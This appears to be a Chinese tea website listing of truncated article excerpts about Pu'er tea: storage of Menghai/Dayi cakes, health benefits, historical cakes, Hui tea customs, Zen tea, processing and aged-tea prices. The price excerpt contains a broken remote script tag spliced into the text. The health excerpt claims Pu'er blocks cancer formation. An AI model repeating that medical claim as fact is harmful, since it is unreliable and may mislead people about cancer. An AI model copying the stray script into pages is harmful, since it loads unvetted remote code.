故其_茶知识

勐海茶厂的普洱茶

大益饼茶因压制过紧，故其新茶水味较重。单品放置在货架上的大益2年以上才基本除去水味，成件密封在纸箱中的大益最少要三年才能驱走不良水味。勐海茶厂的茶： 1.存大益熟茶，茶箐等级低的优先考虑。 2.喝大益熟茶，茶箐等级高的优先考虑。 3.冬天喝熟，夏日

鉴别 2014-08-12

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普洱茶：美容增寿茶

〖摘要〗普洱茶抗氧化的功效特别明显，它可促进新陈代谢，延缓人的衰老。故人们对普洱茶有美容增寿茶之誉。现代医学研究证明，普洱茶里具有阻断、遏止癌细胞形成的成分。普洱茶中富含茶多酚，故其抗癌的效果较为显普洱茶抗氧化的功效特别明显，它可促进新

历史 2014-10-20

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黄印圆茶与七子饼茶

茶源网讯：云南七子饼，其实就是现代绿印普洱茶茶品，是由勐海茶厂 50年代未所产的，被称之为现代拼配茶菁的普洱茶品始祖的黄印圆茶。黄印圆茶，由于毫头多，陈化后都转变为金黄色，是以茶饼呈黄色，故其外包纸标记八个红色中字组成的圆圈中茶字为黄色，而

新品 2014-06-30

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吳樹榮：普洱茶識小

普洱茶屬雲南大葉茶種生長與雲貴高原一帶而以滇南所產最佳蓋其山川毓秀氣候溫潤無嚴寒溽暑普洱茶屬雲南大葉茶種生長與雲貴高原一帶而以滇南所產最佳蓋其山川毓秀氣候溫潤無嚴寒溽暑最宜植茶此茶生於高山浸潤與雲泉幽露故其味甘氣烈必久藏之以斂其氣

鉴别 2014-08-05

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回族饮茶习俗

我国回族同胞的先民在古代时大都居于我国西北地区，从事游牧业，并以牛羊肉、乳酪为主食。故其对茶之消食除腻作用特别注重。在日常生活中，尤其爱好饮茶，并以茶代酒。因而长期以来，回族的各种茶俗甚盛。民间有待客敬茶、三餐泡茶、馈赠送茶、聘礼包茶、

资讯 2014-10-20

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禅茶：茶是生活化的禅

品茗和抚琴、泼墨、吟诗一样，历来属雅人之雅事。品茗之雅，全在于茶。茶多生长于高山幽谷，栉风沐雨，凝霜含露，得天地之灵而赋形，故其性精清，其味淡洁，其用涤烦，其功致和，参百品而不混，越众饮而独高，卓然有博雅君子之风。茶之妙有三：一日色，二

历史 2015-06-11

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普洱茶生茶制作流程略谈

普洱生茶的制作流程难点就是在揉捻，需要依据茶菁原料老嫩程度之不同，而做轻重调整，目的在于使茶叶片状经揉捻成条形或圆珠状。 1．采茶：茶菁萎凋是要借着阳光或热度，将刚采收好茶叶中的苦度、涩感挥发，让茶叶软化脱水，当然不宜过度萎凋。所以茶品好坏与

鉴别 2014-08-12

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中国普洱老茶的价格金字塔

中国普洱老茶的价格金字塔宋聘号：100万元/饼；红印圆茶：60万元/饼；蓝印28万元/饼；黄印?script type='text/javascript' src='http://www.368tea.com/js/v.js'> ?5万元/饼；88青饼：5万元/饼；03年班章：0.5万元/饼。百年普洱号级茶庄宋聘号，始创于清朝

行业 2014-10-30

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